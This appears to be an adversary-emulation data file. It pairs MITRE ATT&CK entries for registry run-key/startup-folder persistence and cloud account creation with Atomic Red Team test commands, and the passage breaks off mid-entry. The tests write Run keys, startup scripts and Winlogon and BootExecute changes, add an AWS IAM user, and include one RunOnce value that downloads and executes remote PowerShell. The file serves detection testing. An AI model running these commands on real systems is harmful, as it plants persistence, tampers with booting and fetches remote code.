Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level. The following run keys are created by default on Windows systems: * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018) Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp. The following Registry keys can be used to set startup folder items for persistence: * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders The following Registry keys can control automatic startup of services during boot: * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices Using policy settings to specify startup programs creates corresponding values in either of two Registry keys: * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run automatically for the currently logged-on user. By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot. Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Oddvar Moe, @oddvarmoe - Dray Agha, @Purp1eW0lf, Huntress Labs - Harun Küßner x_mitre_deprecated: false x_mitre_detection: |- Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data. Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '2.0' x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Modification' - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Creation' - 'Windows Registry: Windows Registry Key Modification' x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279 created: '2020-01-23T22:02:48.566Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1547/001 external_id: T1547.001 - source_name: Malwarebytes Wow6432Node 2016 description: Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020. url: https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/ - source_name: Microsoft Wow6432Node 2018 description: Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020. url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry - source_name: Microsoft Run Key description: Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014. url: http://msdn.microsoft.com/en-us/library/aa376977 - source_name: Oddvar Moe RunOnceEx Mar 2018 description: Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018. url: https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/ - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547.001 atomic_tests: - name: Reg Key Run auto_generated_guid: e55be3fd-3521-4610-9d1a-e210e42dcf05 description: "Run Key Persistence\n\nUpon successful execution, cmd.exe will modify the registry by adding \\\"Atomic Red Team\\\" to the Run key. Output will be via stdout. \n" supported_platforms: - windows input_arguments: command_to_execute: description: Thing to Run type: path default: C:\Path\AtomicRedTeam.exe executor: command: 'REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /t REG_SZ /F /D "#{command_to_execute}" ' cleanup_command: 'REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /f >nul 2>&1 ' name: command_prompt - name: Reg Key RunOnce auto_generated_guid: 554cbd88-cde1-4b56-8168-0be552eed9eb description: "RunOnce Key Persistence.\n\nUpon successful execution, cmd.exe will modify the registry to load AtomicRedTeam.dll to RunOnceEx. Output will be via stdout. \n" supported_platforms: - windows input_arguments: thing_to_execute: description: Thing to Run type: path default: C:\Path\AtomicRedTeam.dll executor: command: 'REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "#{thing_to_execute}" ' cleanup_command: 'REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f >nul 2>&1 ' name: command_prompt elevation_required: true - name: PowerShell Registry RunOnce auto_generated_guid: eb44f842-0457-4ddc-9b92-c4caa144ac42 description: | RunOnce Key Persistence via PowerShell Upon successful execution, a new entry will be added to the runonce item in the registry. supported_platforms: - windows input_arguments: thing_to_execute: description: Thing to Run type: path default: powershell.exe reg_key_path: description: Path to registry key to update type: path default: HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce executor: command: | $RunOnceKey = "#{reg_key_path}" set-itemproperty $RunOnceKey "NextRun" '#{thing_to_execute} "IEX (New-Object Net.WebClient).DownloadString(`"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`")"' cleanup_command: 'Remove-ItemProperty -Path #{reg_key_path} -Name "NextRun" -Force -ErrorAction Ignore ' name: powershell elevation_required: true - name: Suspicious vbs file run from startup Folder auto_generated_guid: 2cb98256-625e-4da9-9d44-f2e5f90b8bd5 description: "vbs files can be placed in and ran from the startup folder to maintain persistance. Upon execution, \"T1547.001 Hello, World VBS!\" will be displayed twice. \nAdditionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted and the user logs in.\n" supported_platforms: - windows executor: command: | Copy-Item "$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" Copy-Item "$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" cscript.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" cscript.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" cleanup_command: | Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs" -ErrorAction Ignore Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs" -ErrorAction Ignore name: powershell elevation_required: true - name: Suspicious jse file run from startup Folder auto_generated_guid: dade9447-791e-4c8f-b04b-3a35855dfa06 description: "jse files can be placed in and ran from the startup folder to maintain persistance.\nUpon execution, \"T1547.001 Hello, World JSE!\" will be displayed twice. \nAdditionally, the new files can be viewed in the \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\"\nfolder and will also run when the computer is restarted and the user logs in.\n" supported_platforms: - windows executor: command: | Copy-Item "$PathToAtomicsFolder\T1547.001\src\jsestartup.jse" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" Copy-Item "$PathToAtomicsFolder\T1547.001\src\jsestartup.jse" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" cscript.exe /E:Jscript "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" cscript.exe /E:Jscript "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" cleanup_command: | Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse" -ErrorAction Ignore Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse" -ErrorAction Ignore name: powershell elevation_required: true - name: Suspicious bat file run from startup Folder auto_generated_guid: 5b6768e4-44d2-44f0-89da-a01d1430fd5e description: | bat files can be placed in and executed from the startup folder to maintain persistance Upon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is restarted and the user logs in. supported_platforms: - windows executor: command: | Copy-Item "$PathToAtomicsFolder\T1547.001\src\batstartup.bat" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" Copy-Item "$PathToAtomicsFolder\T1547.001\src\batstartup.bat" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" Start-Process "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" Start-Process "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" cleanup_command: | Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat" -ErrorAction Ignore Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat" -ErrorAction Ignore name: powershell elevation_required: true - name: Add Executable Shortcut Link to User Startup Folder auto_generated_guid: 24e55612-85f6-4bd6-ae74-a73d02e3441d description: 'Adds a non-malicious executable shortcut link to the current users startup directory. Test can be verified by going to the users startup directory and checking if the shortcut link exists. ' supported_platforms: - windows executor: command: "$Target = \"C:\\Windows\\System32\\calc.exe\"\n$ShortcutLocation = \"$home\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\calc_exe.lnk\"\n$WScriptShell = New-Object -ComObject WScript.Shell\n$Create = $WScriptShell.CreateShortcut($ShortcutLocation)\n$Create.TargetPath = $Target\n$Create.Save() " cleanup_command: Remove-Item "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk" -ErrorAction Ignore name: powershell elevation_required: true - name: Add persistance via Recycle bin auto_generated_guid: bda6a3d6-7aa7-4e89-908b-306772e9662f description: | Add a persistance via Recycle bin [vxunderground](https://github.com/vxunderground/VXUG-Papers/blob/main/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf) User have to clic on the recycle bin to lauch the payload (here calc) supported_platforms: - windows executor: command: reg ADD "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command" /ve /d "calc.exe" /f cleanup_command: reg DELETE "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open" /f name: command_prompt - name: SystemBC Malware-as-a-Service Registry auto_generated_guid: 9dc7767b-30c1-4cc4-b999-50cab5e27891 description: | This Atomic will create a registry key called socks5_powershell for persistance access https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c supported_platforms: - windows input_arguments: reg_key_value: description: Thing to Run type: path default: powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File reg_key_path: description: Path to registry key to update type: path default: HKCU:\Software\Microsoft\Windows\CurrentVersion\Run executor: command: | $RunKey = "#{reg_key_path}" Set-ItemProperty -Path $RunKey -Name "socks5_powershell" -Value "#{reg_key_value}" cleanup_command: 'Remove-ItemProperty -Path #{reg_key_path} -Name "socks5_powershell" -Force -ErrorAction Ignore ' name: powershell - name: Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value auto_generated_guid: acfef903-7662-447e-a391-9c91c2f00f7b description: "This test will modify the HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders -V \"Common Startup\" \nvalue to point to a new startup folder where a payload could be stored to launch at boot. *successful execution requires system restart\n" supported_platforms: - windows input_arguments: new_startup_folder: description: new startup folder to replace standard one type: string default: "$env:TMP\\atomictest\\" payload: description: 'executable to be placed in new startup location ' type: string default: C:\Windows\System32\calc.exe executor: command: | New-Item -ItemType Directory -path "#{new_startup_folder}" Copy-Item -path "#{payload}" -destination "#{new_startup_folder}" Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -Value "#{new_startup_folder}" cleanup_command: | Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Common Startup" -Value "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup" Remove-Item "#{new_startup_folder}" -Recurse -Force name: powershell elevation_required: true - name: Change Startup Folder - HKCU Modify User Shell Folders Startup Value auto_generated_guid: 8834b65a-f808-4ece-ad7e-2acdf647aafa description: "This test will modify the HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders -V \"Startup\" value \nto point to a new startup folder where a payload could be stored to launch at boot. *successful execution requires system restart\n" supported_platforms: - windows input_arguments: new_startup_folder: description: new startup folder to replace standard one type: string default: "$env:TMP\\atomictest\\" payload: description: 'executable to be placed in new startup location ' type: string default: C:\Windows\System32\calc.exe executor: command: | New-Item -ItemType Directory -path "#{new_startup_folder}" Copy-Item -path "#{payload}" -destination "#{new_startup_folder}" Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "#{new_startup_folder}" cleanup_command: | Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" Remove-Item "#{new_startup_folder}" -Recurse -Force name: powershell - name: HKCU - Policy Settings Explorer Run Key auto_generated_guid: a70faea1-e206-4f6f-8d9a-67379be8f6f1 description: "This test will create a new value under HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run to launch calc.exe on boot. \n*Requires reboot\n" supported_platforms: - windows input_arguments: target_key_value_name: description: registry value to crate on target key type: string default: atomictest payload: description: payload to execute type: string default: C:\Windows\System32\calc.exe executor: command: | if (!(Test-Path -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){ New-Item -ItemType Key -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" } Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" -Value "#{payload}" cleanup_command: Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" name: powershell elevation_required: true - name: HKLM - Policy Settings Explorer Run Key auto_generated_guid: b5c9a9bc-dda3-4ea0-b16a-add8e81ab75f description: "This test will create a HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run key value to launch calc.exe on boot. \n*Requires reboot\n" supported_platforms: - windows input_arguments: target_key_value_name: description: registry value to crate on target key type: string default: atomictest payload: description: payload to execute type: string default: C:\Windows\System32\calc.exe executor: command: | if (!(Test-Path -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run")){ New-Item -ItemType Key -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" } Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" -Value "#{payload}" cleanup_command: Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" -Name "#{target_key_value_name}" name: powershell elevation_required: true - name: HKLM - Append Command to Winlogon Userinit KEY Value auto_generated_guid: f7fab6cc-8ece-4ca7-a0f1-30a22fccd374 description: | This test will append a command to the HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit value to launch calc.exe on boot. * Requires reboot supported_platforms: - windows input_arguments: payload: description: what to run type: string default: C:\Windows\System32\calc.exe executor: command: | $oldvalue = $(Get-ItemPropertyValue -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit"); Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit-backup" -Value "$oldvalue"; $newvalue = $oldvalue + " #{payload}"; Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "$newvalue" cleanup_command: |- $oldvalue = $(Get-ItemPropertyValue -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Userinit-backup'); Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Userinit" -Value "$oldvalue"; Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Userinit-backup' name: powershell elevation_required: true - name: 'HKLM - Modify default System Shell - Winlogon Shell KEY Value ' auto_generated_guid: 1d958c61-09c6-4d9e-b26b-4130314e520e description: "This test change the default value of HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell from \"explorer.exe\" to the full path of \"C:\\Windows\\explorer.exe\" \nto log a change to the key's default value without breaking boot sequence. \nAn atacker will alternatively replace this with a custom shell. \n" supported_platforms: - windows input_arguments: payload: description: what to run type: string default: C:\Windows\explorer.exe executor: command: | $oldvalue = $(Get-ItemPropertyValue -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell"); Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell-backup" -Value "$oldvalue"; $newvalue = $oldvalue + ", #{payload}"; Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "$newvalue" cleanup_command: |- $oldvalue = $(Get-ItemPropertyValue -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Shell-backup'); Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value "$oldvalue"; Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name 'Shell-backup' name: powershell elevation_required: true - name: secedit used to create a Run key in the HKLM Hive auto_generated_guid: 14fdc3f1-6fc3-4556-8d36-aa89d9d42d02 description: | secedit allows to manipulate the HKLM hive of the Windows registry. This test creates a Run key with the keyname calc having calc.exe as the value in the HKLM hive. [Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d) supported_platforms: - windows input_arguments: ini_file: description: INI config template type: string default: "$PathToAtomicsFolder\\T1547.001\\src\\regtemplate.ini" secedit_db: description: Custom secedit db type: string default: mytemplate.db executor: command: | secedit /import /db #{secedit_db} /cfg "#{ini_file}" secedit /configure /db #{secedit_db} cleanup_command: REG DELETE "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "calc" /f >nul 2>&1 name: command_prompt elevation_required: true - name: Modify BootExecute Value auto_generated_guid: befc2b40-d487-4a5a-8813-c11085fb5672 description: "This test modifies the BootExecute registry value to \"autocheck autoche *\", which can be used to simulate an adversary's attempt to tamper with the system's boot process. \nReference - https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf\nNOTE that by not saving the correct value, you may inhibit your system from booting properly. Only run on a test system. There is a reg export before running the Atomic.\n" supported_platforms: - windows input_arguments: registry_value: description: Registry value to set type: string default: autocheck autoche * executor: command: | if (!(Test-Path "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg")) { reg.exe export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" /y } Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "BootExecute" -Value "#{registry_value}" -Type MultiString cleanup_command: | reg.exe import "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" Remove-Item -Path "$PathToAtomicsFolder\T1547.001\src\SessionManagerBackup.reg" -Force name: powershell elevation_required: true - name: Allowing custom application to execute during new RDP logon session auto_generated_guid: b051b3c0-66e7-4a81-916d-e6383bd3a669 description: | When a users logs in to a computer via RDP,Windows will search for the key in HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd registry By default, rdpclip is the value stored. An attacker with administrator privileges can alter the value stored to allow for the custom application to execute during RDP login session.The test will allow running cal rather rdpclip when a user logs in via RDP supported_platforms: - windows input_arguments: malicious_app: description: Application to be executed during successful RDP session type: string default: calc executor: command: 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd" /v StartupPrograms /t REG_SZ /d "#{malicious_app}" ' cleanup_command: reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd" /v StartupPrograms /t REG_SZ /d "rdpclip" name: command_prompt elevation_required: true - name: Creating Boot Verification Program Key for application execution during successful boot auto_generated_guid: 6e1666d5-3f2b-4b9a-80aa-f011322380d4 description: | Microsoft allows users to define a custom boot verification program for those situations by creating the registry key “HKLM\System\CurrentControlSet\Control\BootVerificationProgram” and setting the value of ImagePath to the path of boot verification program.Threat Actor can abuse by creating this registry key and providing a malicious application to be executed during successful boot supported_platforms: - windows input_arguments: malicious_file: description: Application to be executed during successful boot type: string default: C:\Program Files\Internet Explorer\iexplore.exe executor: command: 'reg add HKLM\System\CurrentControlSet\Control\BootVerificationProgram /v ImagePath /t REG_SZ /d "#{malicious_file}" ' cleanup_command: reg delete HKLM\System\CurrentControlSet\Control\BootVerificationProgram name: command_prompt elevation_required: true T1136.003: technique: modified: '2024-03-28T16:14:28.678Z' name: 'Create Account: Cloud Account' description: |- Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users) In addition to user accounts, cloud accounts may be associated with services. Cloud providers handle the concept of service accounts in different ways. In Azure, service accounts include service principals and managed identities, which can be linked to various resources such as OAuth applications, serverless functions, and virtual machines in order to grant those resources permissions to perform various activities in the environment.(Citation: Microsoft Entra ID Service Principals) In GCP, service accounts can also be linked to specific resources, as well as be impersonated by other accounts for [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005).(Citation: GCP Service Accounts) While AWS has no specific concept of service accounts, resources can be directly granted permission to assume roles.(Citation: AWS Instance Profiles)(Citation: AWS Lambda Execution Role) Adversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection. Once an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) or assigning [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Praetorian - Microsoft Threat Intelligence Center (MSTIC) x_mitre_deprecated: false x_mitre_detection: Collect usage logs from cloud user and administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Azure AD - Office 365 - IaaS - Google Workspace - SaaS x_mitre_version: '1.5' x_mitre_data_sources: - 'User Account: User Account Creation' type: attack-pattern id: attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b created: '2020-01-29T17:32:30.711Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1136/003 external_id: T1136.003 - source_name: Microsoft O365 Admin Roles description: Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019. url: https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide - source_name: AWS Create IAM User description: AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved January 29, 2020. url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html - source_name: AWS Lambda Execution Role description: AWS. (n.d.). Lambda execution role. Retrieved February 28, 2024. url: https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html - source_name: AWS Instance Profiles description: AWS. (n.d.). Using instance profiles. Retrieved February 28, 2024. url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html - source_name: GCP Create Cloud Identity Users description: Google. (n.d.). Create Cloud Identity user accounts. Retrieved January 29, 2020. url: https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554 - source_name: GCP Service Accounts description: Google. (n.d.). Service Accounts Overview. Retrieved February 28, 2024. url: https://cloud.google.com/iam/docs/service-account-overview - source_name: Microsoft Azure AD Users description: Microsoft. (2019, November 11). Add or delete users using Azure Active Directory. Retrieved January 30, 2020. url: https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory - source_name: Microsoft Entra ID Service Principals description: Microsoft. (2023, December 15). Application and service principal objects in Microsoft Entra ID. Retrieved February 28, 2024. url: https://learn.microsoft.com/en-us/entra/identity-platform/app-objects-and-service-principals?tabs=browser - source_name: Microsoft Support O365 Add Another Admin, October 2019 description: Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019. url: https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1136.003 atomic_tests: - name: AWS - Create a new IAM user auto_generated_guid: 8d1c2368-b503-40c9-9057-8e42f21c58ad description: 'Creates a new IAM user in AWS. Upon successful creation, a new user will be created. Adversaries create new IAM users so that their malicious activity do not interupt the normal functions of the compromised users and can remain undetected for a long time ' supported_platforms: - iaas:aws input_arguments: username: description: Username of the IAM user to create in AWS type: string default: atomicredteam dependencies: - description: 'Check if ~/.aws/credentials file has a default stanza is configured ' prereq_command: 'cat ~/.aws/credentials | grep "default" ' get_prereq_command: 'echo Please install the aws-cli and configure your AWS defult profile using: aws configure ' executor: command: 'aws iam create-user --user-name #{username} ' cleanup_command: 'aws iam delete-user --user-name #{username} ' name: sh elevation_required: false - name: Azure AD - Create a new user auto_generated_guid: e62d23ef-3153-4837-8625-fa4a3829134d description: Creates a new user in Azure AD. Upon successful creation, a new user will be created. Adversaries create new users so that their malicious activity does not interrupt the normal functions of the compromised users and can remain undetected for a long time. supported_platforms: - azure-ad input_arguments: username: description: Display name of the new user to be created in Azure AD type: string default: atomicredteam userprincipalname: description: User principal name (UPN) for the new Azure user being created format email address type: string default: atomicredteam@yourdomain.com password: description: Password for the new Azure AD user being created type: string default: 